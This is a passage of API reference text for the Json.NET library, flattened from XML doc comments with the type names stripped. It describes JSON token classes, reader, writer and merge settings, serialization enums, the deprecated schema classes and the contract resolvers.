of with the content of the reader's current token. The reader. An instance of with the content of the reader's current token. Specifies the settings used when loading JSON. Initializes a new instance of the class. Gets or sets how JSON comments are handled when loading JSON. The default value is . The JSON comment handling. Gets or sets how JSON line info is handled when loading JSON. The default value is . The JSON line info handling. Gets or sets how duplicate property names in JSON objects are handled when loading JSON. The default value is . The JSON duplicate property name handling. Specifies the settings used when merging JSON. Initializes a new instance of the class. Gets or sets the method used when merging JSON arrays. The method used when merging JSON arrays. Gets or sets how null value properties are merged. How null value properties are merged. Gets or sets the comparison used to match property names while merging. The exact property name will be searched for first and if no matching property is found then the will be used to match a property. The comparison used to match property names while merging. Specifies the settings used when selecting JSON. Gets or sets a timeout that will be used when executing regular expressions. The timeout that will be used when executing regular expressions. Gets or sets a flag that indicates whether an error should be thrown if no tokens are found when evaluating part of the expression. A flag that indicates whether an error should be thrown if no tokens are found when evaluating part of the expression. Represents an abstract JSON token. Writes this token to a asynchronously. A into which this method will write. The token to monitor for cancellation requests. A collection of which will be used when writing the token. A that represents the asynchronous write operation. Writes this token to a asynchronously. A into which this method will write. A collection of which will be used when writing the token. A that represents the asynchronous write operation. Asynchronously creates a from a . An positioned at the token to read into this . The token to monitor for cancellation requests. The default value is . A that represents the asynchronous creation. The property returns a that contains the token and its descendant tokens that were read from the reader. The runtime type of the token is determined by the token type of the first token encountered in the reader. Asynchronously creates a from a . An positioned at the token to read into this . The used to load the JSON. If this is null, default load settings will be used. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous creation. The property returns a that contains the token and its descendant tokens that were read from the reader. The runtime type of the token is determined by the token type of the first token encountered in the reader. Asynchronously creates a from a . A positioned at the token to read into this . The token to monitor for cancellation requests. The default value is . A that represents the asynchronous creation. The property returns a that contains the token and its descendant tokens that were read from the reader. The runtime type of the token is determined by the token type of the first token encountered in the reader. Asynchronously creates a from a . A positioned at the token to read into this . The used to load the JSON. If this is null, default load settings will be used. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous creation. The property returns a that contains the token and its descendant tokens that were read from the reader. The runtime type of the token is determined by the token type of the first token encountered in the reader. Gets a comparer that can compare two tokens for value equality. A that can compare two nodes for value equality. Gets or sets the parent. The parent. Gets the root of this . The root of this . Gets the node type for this . The type. Gets a value indicating whether this token has child tokens. true if this token has child values; otherwise, false. Compares the values of two tokens, including the values of all descendant tokens. The first to compare. The second to compare. true if the tokens are equal; otherwise false. Gets the next sibling token of this node. The that contains the next sibling token. Gets the previous sibling token of this node. The that contains the previous sibling token. Gets the path of the JSON token. Adds the specified content immediately after this token. A content object that contains simple content or a collection of content objects to be added after this token. Adds the specified content immediately before this token. A content object that contains simple content or a collection of content objects to be added before this token. Returns a collection of the ancestor tokens of this token. A collection of the ancestor tokens of this token. Returns a collection of tokens that contain this token, and the ancestors of this token. A collection of tokens that contain this token, and the ancestors of this token. Returns a collection of the sibling tokens after this token, in document order. A collection of the sibling tokens after this tokens, in document order. Returns a collection of the sibling tokens before this token, in document order. A collection of the sibling tokens before this token, in document order. Gets the with the specified key. The with the specified key. Gets the with the specified key converted to the specified type. The type to convert the token to. The token key. The converted token value. Get the first child token of this token. A containing the first child token of the . Get the last child token of this token. A containing the last child token of the . Returns a collection of the child tokens of this token, in document order. An of containing the child tokens of this , in document order. Returns a collection of the child tokens of this token, in document order, filtered by the specified type. The type to filter the child tokens on. A containing the child tokens of this , in document order. Returns a collection of the child values of this token, in document order. The type to convert the values to. A containing the child values of this , in document order. Removes this token from its parent. Replaces this token with the specified token. The value. Writes this token to a . A into which this method will write. A collection of which will be used when writing the token. Returns the indented JSON for this token. ToString() returns a non-JSON string value for tokens with a type of . If you want the JSON for all token types then you should use . The indented JSON for this token. Returns the JSON for this token using the given formatting and converters. Indicates how the output should be formatted. A collection of s which will be used when writing the token. The JSON for this token using the given formatting and converters. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to []. The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from [] to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Creates a for this token. A that can be used to read this token and its descendants. Creates a from an object. The object that will be used to create . A with the value of the specified object. Creates a from an object using the specified . The object that will be used to create . The that will be used when reading the object. A with the value of the specified object. Creates an instance of the specified .NET type from the . The object type that the token will be deserialized to. The new object created from the JSON value. Creates an instance of the specified .NET type from the . The object type that the token will be deserialized to. The new object created from the JSON value. Creates an instance of the specified .NET type from the using the specified . The object type that the token will be deserialized to. The that will be used when creating the object. The new object created from the JSON value. Creates an instance of the specified .NET type from the using the specified . The object type that the token will be deserialized to. The that will be used when creating the object. The new object created from the JSON value. Creates a from a . A positioned at the token to read into this . A that contains the token and its descendant tokens that were read from the reader. The runtime type of the token is determined by the token type of the first token encountered in the reader. Creates a from a . An positioned at the token to read into this . The used to load the JSON. If this is null, default load settings will be used. A that contains the token and its descendant tokens that were read from the reader. The runtime type of the token is determined by the token type of the first token encountered in the reader. Load a from a string that contains JSON. A that contains JSON. A populated from the string that contains JSON. Load a from a string that contains JSON. A that contains JSON. The used to load the JSON. If this is null, default load settings will be used. A populated from the string that contains JSON. Creates a from a . A positioned at the token to read into this . The used to load the JSON. If this is null, default load settings will be used. A that contains the token and its descendant tokens that were read from the reader. The runtime type of the token is determined by the token type of the first token encountered in the reader. Creates a from a . A positioned at the token to read into this . A that contains the token and its descendant tokens that were read from the reader. The runtime type of the token is determined by the token type of the first token encountered in the reader. Selects a using a JSONPath expression. Selects the token that matches the object path. A that contains a JSONPath expression. A , or null. Selects a using a JSONPath expression. Selects the token that matches the object path. A that contains a JSONPath expression. A flag to indicate whether an error should be thrown if no tokens are found when evaluating part of the expression. A . Selects a using a JSONPath expression. Selects the token that matches the object path. A that contains a JSONPath expression. The used to select tokens. A . Selects a collection of elements using a JSONPath expression. A that contains a JSONPath expression. An of that contains the selected elements. Selects a collection of elements using a JSONPath expression. A that contains a JSONPath expression. A flag to indicate whether an error should be thrown if no tokens are found when evaluating part of the expression. An of that contains the selected elements. Selects a collection of elements using a JSONPath expression. A that contains a JSONPath expression. The used to select tokens. An of that contains the selected elements. Returns the responsible for binding operations performed on this object. The expression tree representation of the runtime value. The to bind this object. Returns the responsible for binding operations performed on this object. The expression tree representation of the runtime value. The to bind this object. Creates a new instance of the . All child tokens are recursively cloned. A new instance of the . Adds an object to the annotation list of this . The annotation to add. Get the first annotation object of the specified type from this . The type of the annotation to retrieve. The first annotation object that matches the specified type, or null if no annotation is of the specified type. Gets the first annotation object of the specified type from this . The of the annotation to retrieve. The first annotation object that matches the specified type, or null if no annotation is of the specified type. Gets a collection of annotations of the specified type for this . The type of the annotations to retrieve. An that contains the annotations for this . Gets a collection of annotations of the specified type for this . The of the annotations to retrieve. An of that contains the annotations that match the specified type for this . Removes the annotations of the specified type from this . The type of annotations to remove. Removes the annotations of the specified type from this . The of annotations to remove. Compares tokens to determine whether they are equal. Determines whether the specified objects are equal. The first object of type to compare. The second object of type to compare. true if the specified objects are equal; otherwise, false. Returns a hash code for the specified object. The for which a hash code is to be returned. A hash code for the specified object. The type of is a reference type and is null. Represents a reader that provides fast, non-cached, forward-only access to serialized JSON data. Gets the at the reader's current position. Initializes a new instance of the class. The token to read from. Initializes a new instance of the class. The token to read from. The initial path of the token. It is prepended to the returned . Reads the next JSON token from the underlying . true if the next token was read successfully; false if there are no more tokens to read. Gets the path of the current JSON token. Specifies the type of token. No token type has been set. A JSON object. A JSON array. A JSON constructor. A JSON object property. A comment. An integer value. A float value. A string value. A boolean value. A null value. An undefined value. A date value. A raw JSON value. A collection of bytes value. A Guid value. A Uri value. A TimeSpan value. Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data. Gets the at the writer's current position. Gets the token being written. The token being written. Initializes a new instance of the class writing to the given . The container being written to. Initializes a new instance of the class. Flushes whatever is in the buffer to the underlying . Closes this writer. If is set to true, the JSON is auto-completed. Setting to true has no additional effect, since the underlying is a type that cannot be closed. Writes the beginning of a JSON object. Writes the beginning of a JSON array. Writes the start of a constructor with the given name. The name of the constructor. Writes the end. The token. Writes the property name of a name/value pair on a JSON object. The name of the property. Writes a value. An error will be raised if the value cannot be written as a single JSON token. The value to write. Writes a null value. Writes an undefined value. Writes raw JSON. The raw JSON to write. Writes a comment /*...*/ containing the specified text. Text to place inside the comment. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a [] value. The [] value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Represents a value in JSON (string, integer, date, etc). Writes this token to a asynchronously. A into which this method will write. The token to monitor for cancellation requests. A collection of which will be used when writing the token. A that represents the asynchronous write operation. Initializes a new instance of the class from another object. A object to copy from. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Gets a value indicating whether this token has child tokens. true if this token has child values; otherwise, false. Creates a comment with the given value. The value. A comment with the given value. Creates a string with the given value. The value. A string with the given value. Creates a null value. A null value. Creates a undefined value. A undefined value. Gets the node type for this . The type. Gets or sets the underlying token value. The underlying token value. Writes this token to a . A into which this method will write. A collection of s which will be used when writing the token. Indicates whether the current object is equal to another object of the same type. true if the current object is equal to the parameter; otherwise, false. An object to compare with this object. Determines whether the specified is equal to the current . The to compare with the current . true if the specified is equal to the current ; otherwise, false. Serves as a hash function for a particular type. A hash code for the current . Returns a that represents this instance. ToString() returns a non-JSON string value for tokens with a type of . If you want the JSON for all token types then you should use . A that represents this instance. Returns a that represents this instance. The format. A that represents this instance. Returns a that represents this instance. The format provider. A that represents this instance. Returns a that represents this instance. The format. The format provider. A that represents this instance. Returns the responsible for binding operations performed on this object. The expression tree representation of the runtime value. The to bind this object. Compares the current instance with another object of the same type and returns an integer that indicates whether the current instance precedes, follows, or occurs in the same position in the sort order as the other object. An object to compare with this instance. A 32-bit signed integer that indicates the relative order of the objects being compared. The return value has these meanings: Value Meaning Less than zero This instance is less than . Zero This instance is equal to . Greater than zero This instance is greater than . is not of the same type as this instance. Specifies how line information is handled when loading JSON. Ignore line information. Load line information. Specifies how JSON arrays are merged together. Concatenate arrays. Union arrays, skipping items that already exist. Replace all array items. Merge array items together, matched by index. Specifies how null value properties are merged. The content's null value properties will be ignored during merging. The content's null value properties will be merged. Specifies the member serialization options for the . All public members are serialized by default. Members can be excluded using or . This is the default member serialization mode. Only members marked with or are serialized. This member serialization mode can also be set by marking the class with . All public and private fields are serialized. Members can be excluded using or . This member serialization mode can also be set by marking the class with and setting IgnoreSerializableAttribute on to false. Specifies metadata property handling options for the . Read metadata properties located at the start of a JSON object. Read metadata properties located anywhere in a JSON object. Note that this setting will impact performance. Do not try to read metadata properties. Specifies missing member handling options for the . Ignore a missing member and do not attempt to deserialize it. Throw a when a missing member is encountered during deserialization. Specifies null value handling options for the . Include null values when serializing and deserializing objects. Ignore null values when serializing and deserializing objects. Specifies how object creation is handled by the . Reuse existing objects, create new objects when needed. Only reuse existing objects. Always create new objects. Specifies reference handling options for the . Note that references cannot be preserved when a value is set via a non-default constructor such as types that implement . Do not preserve references when serializing types. Preserve references when serializing into a JSON object structure. Preserve references when serializing into a JSON array structure. Preserve references when serializing. Specifies reference loop handling options for the . Throw a when a loop is encountered. Ignore loop references and do not serialize. Serialize loop references. Indicating whether a property is required. The property is not required. The default state. The property must be defined in JSON but can be a null value. The property must be defined in JSON and cannot be a null value. The property is not required but it cannot be a null value. Contains the JSON schema extension methods. JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. Determines whether the is valid. JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. The source to test. The schema to test with. true if the specified is valid; otherwise, false. Determines whether the is valid. JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. The source to test. The schema to test with. When this method returns, contains any error messages generated while validating. true if the specified is valid; otherwise, false. Validates the specified . JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. The source to test. The schema to test with. Validates the specified . JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. The source to test. The schema to test with. The validation event handler. An in-memory representation of a JSON Schema. JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. Gets or sets the id. Gets or sets the title. Gets or sets whether the object is required. Gets or sets whether the object is read-only. Gets or sets whether the object is visible to users. Gets or sets whether the object is transient. Gets or sets the description of the object. Gets or sets the types of values allowed by the object. The type. Gets or sets the pattern. The pattern. Gets or sets the minimum length. The minimum length. Gets or sets the maximum length. The maximum length. Gets or sets a number that the value should be divisible by. A number that the value should be divisible by. Gets or sets the minimum. The minimum. Gets or sets the maximum. The maximum. Gets or sets a flag indicating whether the value can not equal the number defined by the minimum attribute (). A flag indicating whether the value can not equal the number defined by the minimum attribute (). Gets or sets a flag indicating whether the value can not equal the number defined by the maximum attribute (). A flag indicating whether the value can not equal the number defined by the maximum attribute (). Gets or sets the minimum number of items. The minimum number of items. Gets or sets the maximum number of items. The maximum number of items. Gets or sets the of items. The of items. Gets or sets a value indicating whether items in an array are validated using the instance at their array position from . true if items are validated using their array position; otherwise, false. Gets or sets the of additional items. The of additional items. Gets or sets a value indicating whether additional items are allowed. true if additional items are allowed; otherwise, false. Gets or sets whether the array items must be unique. Gets or sets the of properties. The of properties. Gets or sets the of additional properties. The of additional properties. Gets or sets the pattern properties. The pattern properties. Gets or sets a value indicating whether additional properties are allowed. true if additional properties are allowed; otherwise, false. Gets or sets the required property if this property is present. The required property if this property is present. Gets or sets the a collection of valid enum values allowed. A collection of valid enum values allowed. Gets or sets disallowed types. The disallowed types. Gets or sets the default value. The default value. Gets or sets the collection of that this schema extends. The collection of that this schema extends. Gets or sets the format. The format. Initializes a new instance of the class. Reads a from the specified . The containing the JSON Schema to read. The object representing the JSON Schema. Reads a from the specified . The containing the JSON Schema to read. The to use when resolving schema references. The object representing the JSON Schema. Load a from a string that contains JSON Schema. A that contains JSON Schema. A populated from the string that contains JSON Schema. Load a from a string that contains JSON Schema using the specified . A that contains JSON Schema. The resolver. A populated from the string that contains JSON Schema. Writes this schema to a . A into which this method will write. Writes this schema to a using the specified . A into which this method will write. The resolver used. Returns a that represents the current . A that represents the current . Returns detailed information about the schema exception. JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. Gets the line number indicating where the error occurred. The line number indicating where the error occurred. Gets the line position indicating where the error occurred. The line position indicating where the error occurred. Gets the path to the JSON where the error occurred. The path to the JSON where the error occurred. Initializes a new instance of the class. Initializes a new instance of the class with a specified error message. The error message that explains the reason for the exception. Initializes a new instance of the class with a specified error message and a reference to the inner exception that is the cause of this exception. The error message that explains the reason for the exception. The exception that is the cause of the current exception, or null if no inner exception is specified. Initializes a new instance of the class. The that holds the serialized object data about the exception being thrown. The that contains contextual information about the source or destination. The parameter is null. The class name is null or is zero (0). Generates a from a specified . JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. Gets or sets how undefined schemas are handled by the serializer. Gets or sets the contract resolver. The contract resolver. Generate a from the specified type. The type to generate a from. A generated from the specified type. Generate a from the specified type. The type to generate a from. The used to resolve schema references. A generated from the specified type. Generate a from the specified type. The type to generate a from. Specify whether the generated root will be nullable. A generated from the specified type. Generate a from the specified type. The type to generate a from. The used to resolve schema references. Specify whether the generated root will be nullable. A generated from the specified type. Resolves from an id. JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. Gets or sets the loaded schemas. The loaded schemas. Initializes a new instance of the class. Gets a for the specified reference. The id. A for the specified reference. The value types allowed by the . JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. No type specified. String type. Float type. Integer type. Boolean type. Object type. Array type. Null type. Any type. Specifies undefined schema Id handling options for the . JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. Do not infer a schema Id. Use the .NET type name as the schema Id. Use the assembly qualified .NET type name as the schema Id. Returns detailed information related to the . JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. Gets the associated with the validation error. The JsonSchemaException associated with the validation error. Gets the path of the JSON location where the validation error occurred. The path of the JSON location where the validation error occurred. Gets the text description corresponding to the validation error. The text description. Represents the callback method that will handle JSON schema validation events and the . JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. A camel case naming strategy. Initializes a new instance of the class. A flag indicating whether dictionary keys should be processed. A flag indicating whether explicitly specified property names should be processed, e.g. a property name customized with a . Initializes a new instance of the class. A flag indicating whether dictionary keys should be processed. A flag indicating whether explicitly specified property names should be processed, e.g. a property name customized with a . A flag indicating whether extension data names should be processed. Initializes a new instance of the class. Resolves the specified property name. The property name to resolve. The resolved property name. Resolves member mappings for a type, camel casing property names. Initializes a new instance of the class. Resolves the contract for a given type. The type to resolve a contract for. The contract for a given type. Used by to resolve a for a given . Gets a value indicating whether members are being get and set using dynamic code generation. This value is determined by the runtime permissions available. true if using dynamic code generation; otherwise, false. Gets or sets the default members search flags. The default members search flags. Gets or sets a value indicating whether compiler generated members should be serialized. true if serialized compiler generated members; otherwise, false. Gets or sets a value indicating whether to ignore the interface when serializing and deserializing types. true if the interface will be ignored when serializing and deserializing types; otherwise, false. Gets or sets a value indicating whether to ignore the attribute when serializing and deserializing types. true if the attribute will be ignored when serializing and deserializing types; otherwise, false. Gets or sets a value indicating whether to ignore IsSpecified members when serializing and deserializing types. true if the IsSpecified members will be ignored when serializing and deserializing types; otherwise, false. Gets or sets a value indicating whether to ignore ShouldSerialize members when serializing and deserializing types. true if the ShouldSerialize members will be ignored when serializing and deserializing types; otherwise, false. Gets or sets the naming strategy used to resolve how property names and dictionary keys are serialized. The naming strategy used to resolve how property names and dictionary keys are serialized. Initializes a new instance of the class. Resolves the contract for a given type. The type to resolve a contract for. The contract for a given type. Gets the serializable members for the type. The type to get serializable members for. The serializable members for the type. Creates a for the given type. Type of the object. A for the given type. Creates the constructor parameters. The constructor to create properties for. The type's member properties. Properties for the given . Creates a for the given . The matching member property. The constructor parameter. A created for the given . Resolves the default for the contract. Type of the object. The contract's default . Creates a for the given type. Type of the object. A for the given type. Creates a for the given type. Type of the object. A for the given type. Creates a for the given type. Type of the object. A for the given type. Creates a for the given type. Type of the object. A for the given type. Creates a for the given type. Type of the object. A for the given type. Creates a for the given type. Type of the object. A for the given type. Creates a for the given type. Type of the object. A for the given type. Determines which contract type is created for the given type. Type of the object. A for the given type. Creates properties for the given . The type to create properties for. /// The member serialization mode for the type. Properties for the given . Creates the used by the serializer to get and set values from a member. The member. The used by the serializer to get and set values from a member. Creates a for the given . The member's parent . The member to create a for. A created for the given . Resolves the name of the property. Name of the property. Resolved name of the property. Resolves the name of the extension data. By default no changes are made to extension data names. Name of the extension data. Resolved name of the extension data. Resolves the key of the dictionary. By default is used to resolve dictionary keys. Key of the dictionary. Resolved key of the dictionary. Gets the resolved name of the property. Name of the property. Name of the property. The default naming strategy. Property names and dictionary keys are unchanged. Resolves the specified property name. The property name to resolve. The resolved property name. The default serialization binder used when resolving and loading classes from type names. Initializes a new instance of the class. When overridden in a derived class, controls the binding of a serialized object to a type. Specifies the name of the serialized object. Specifies the name of the serialized object. The type of the object the formatter creates a new instance of. When overridden in a derived class, controls the binding of a serialized object to a type. The type of the object the formatter creates a new instance of. Specifies the name of the serialized object. Specifies the name of the serialized object. Represents a trace writer that writes to the application's instances. Gets the that will be used to filter the trace messages passed to the writer. For example a filter level of will exclude messages and include , and messages. The that will be used to filter the trace messages passed to the writer. Writes the specified trace level, message and optional exception. The at which to write this trace. The trace message. The trace exception. This parameter is optional. Get and set values for a using dynamic methods. Initializes a new instance of the class. The member info. Sets the value. The target to set the value on. The value to set on the target. Gets the value. The target to get the value from. The value. Provides information surrounding an error. Gets the error. The error. Gets the original object that caused the error. The original object that caused the error. Gets the member that caused the error. The member that caused the error. Gets the path of the JSON location where the error occurred. The path of the JSON location where the error occurred. Gets or sets a value indicating whether this is handled. true if handled; otherwise, false. Provides data for the Error event. Gets the current object the error event is being raised against. The current object the error event is being raised against. Gets the error context. The error context. Initializes a new instance of the class. The current object. The error context. Get and set values for a using dynamic methods. Initializes a new instance of the class. The member info. Sets the value. The target to set the value on. The value to set on the target. Gets the value. The target to get the value from. The value. Provides methods to get attributes. Returns a collection of all of the attributes, or an empty collection if there are no attributes. When true, look up the hierarchy chain for the inherited custom attribute. A collection of s, or an empty collection. Returns a collection of attributes, identified by type, or an empty collection if there are no attributes. The type of the attributes. When true, look up the hierarchy chain for the inherited custom attribute. A collection of s, or an empty collection. Used by to resolve a for a given . Resolves the contract for a given type. The type to resolve a contract for. The contract for a given type. Used to resolve references when serializing and deserializing JSON by the . Resolves a reference to its object. The serialization context. The reference to resolve. The object that was resolved from the reference. Gets the reference for the specified object. The serialization context. The object to get a reference for. The reference to the object. Determines whether the specified object is referenced. The serialization context. The object to test for a reference. true if the specified object is referenced; otherwise, false. Adds a reference to the specified object. The serialization context. The reference. The object to reference. Allows users to control class loading and mandate what class to load. When implemented, controls the binding of a serialized object to a type. Specifies the name of the serialized object. Specifies the name of the serialized object The type of the object the formatter creates a new instance of. When implemented, controls the binding of a serialized object to a type. The type of the object the formatter creates a new instance of. Specifies the name of the serialized object. Specifies the name of the serialized object. Represents a trace writer. Gets the that will be used to filter the trace messages passed to the writer. For example a filter level of will exclude messages and include , and messages. The that will be used to filter the trace messages passed to the writer. Writes the specified trace level, message and optional exception. The at which to write this trace. The trace message. The trace exception. This parameter is optional. Provides methods to get and set values. Sets the value. The target to set the value on. The value to set on the target. Gets the value. The target to get the value from. The value. Contract details for a used by the . Gets the of the collection items. The of the collection items. Gets a value indicating whether the collection type is a multidimensional array. true if the collection type is a multidimensional array; otherwise, false. Gets or sets the function used to create the object. When set this function will override . The function used to create the object. Gets a value indicating whether the creator has a parameter with the collection values. true if the creator has a parameter with the collection values; otherwise, false. Initializes a new instance of the class. The underlying type for the contract. Contract details for a used by the . Gets or sets the default collection items . The converter. Gets or sets a value indicating whether the collection items preserve object references. true if collection items preserve object references; otherwise, false. Gets or sets the collection item reference loop handling. The reference loop handling. Gets or sets the collection item type name handling. The type name handling. Initializes a new instance of the class. The underlying type for the contract. Handles serialization callback events. The object that raised the callback event. The streaming context. Handles serialization error callback events. The object that raised the callback event. The streaming context. The error context. Sets extension data for an object during deserialization. The object to set extension data on. The extension data key. The extension data value. Gets extension data for an object during serialization. The object to set extension data on. Contract details for a used by the . Gets the underlying type for the contract. The underlying type for the contract. Gets or sets the type created during deserialization. The type created during deserialization. Gets or sets whether this type contract is serialized as a reference. Whether this type contract is serialized as a reference. Gets or sets the default for this contract. The converter. Gets the internally resolved for the contract's type. This converter is used as a fallback converter when no other converter is resolved. Setting will always override this converter. Gets or sets all methods called immediately after deserialization of the object. The methods called immediately after deserialization of the object. Gets or sets all methods called during deserialization of the object. The methods called during deserialization of the object. Gets or sets all methods called after serialization of the object graph. The methods called after serialization of the object graph. Gets or sets all methods called before serialization of the object. The methods called before serialization of the object. Gets or sets all method called when an error is thrown during the serialization of the object. The methods called when an error is thrown during the serialization of the object. Gets or sets the default creator method used to create the object. The default creator method used to create the object. Gets or sets a value indicating whether the default creator is non-public. true if the default object creator is non-public; otherwise, false. Contract details for a used by the . Gets or sets the dictionary key resolver. The dictionary key resolver. Gets the of the dictionary keys. The of the dictionary keys. Gets the of the dictionary values. The of the dictionary values. Gets or sets the function used to create the object. When set this function will override . The function used to create the object. Gets a value indicating whether the creator has a parameter with the dictionary values. true if the creator has a parameter with the dictionary values; otherwise, false. Initializes a new instance of the class. The underlying type for the contract. Contract details for a used by the . Gets the object's properties. The object's properties. Gets or sets the property name resolver. The property name resolver. Initializes a new instance of the class. The underlying type for the contract. Contract details for a used by the . Gets or sets the object constructor. The object constructor. Initializes a new instance of the class. The underlying type for the contract. Contract details for a used by the . Initializes a new instance of the class. The underlying type for the contract. Contract details for a used by the . Gets or sets the object member serialization. The member object serialization. Gets or sets the missing member handling used when deserializing this object. The missing member handling. Gets or sets a value that indicates whether the object's properties are required. A value indicating whether the object's properties are required. Gets or sets how the object's properties with null values are handled during serialization and deserialization. How the object's properties with null values are handled during serialization and deserialization. Gets the object's properties. The object's properties. Gets a collection of instances that define the parameters used with . Gets or sets the function used to create the object. When set this function will override . This function is called with a collection of arguments which are defined by the collection. The function used to create the object. Gets or sets the extension data setter. Gets or sets the extension data getter. Gets or sets the extension data value type. Gets or sets the extension data name resolver. The extension data name resolver. Initializes a new instance of the class. The underlying type for the contract. Contract details for a used by the . Initializes a new instance of the class. The underlying type for the contract. Maps a JSON property to a .NET member or constructor parameter. Gets or sets the name of the property. The name of the property. Gets or sets the type that declared this property. The type that declared this property. Gets or sets the order of serialization of a member. The numeric order of serialization. Gets or sets the name of the underlying member or parameter. The name of the underlying member or parameter. Gets the that will get and set the during serialization. The that will get and set the during serialization. Gets or sets the for this property. The for this property. Gets or sets the type of the property. The type of the property. Gets or sets the for the property. If set this converter takes precedence over the contract converter for the property type. The converter. Gets or sets the member converter. The member converter. Gets or sets a value indicating whether this is ignored. true if ignored; otherwise, false. Gets or sets a value indicating whether this is readable. true if readable; otherwise, false. Gets or sets a value indicating whether this is writable. true if writable; otherwise, false. Gets or sets a value indicating whether this has a member attribute. true if has a member attribute; otherwise, false. Gets the default value. The default value. Gets or sets a value indicating whether this is required. A value indicating whether this is required. Gets a value indicating whether has a value specified. 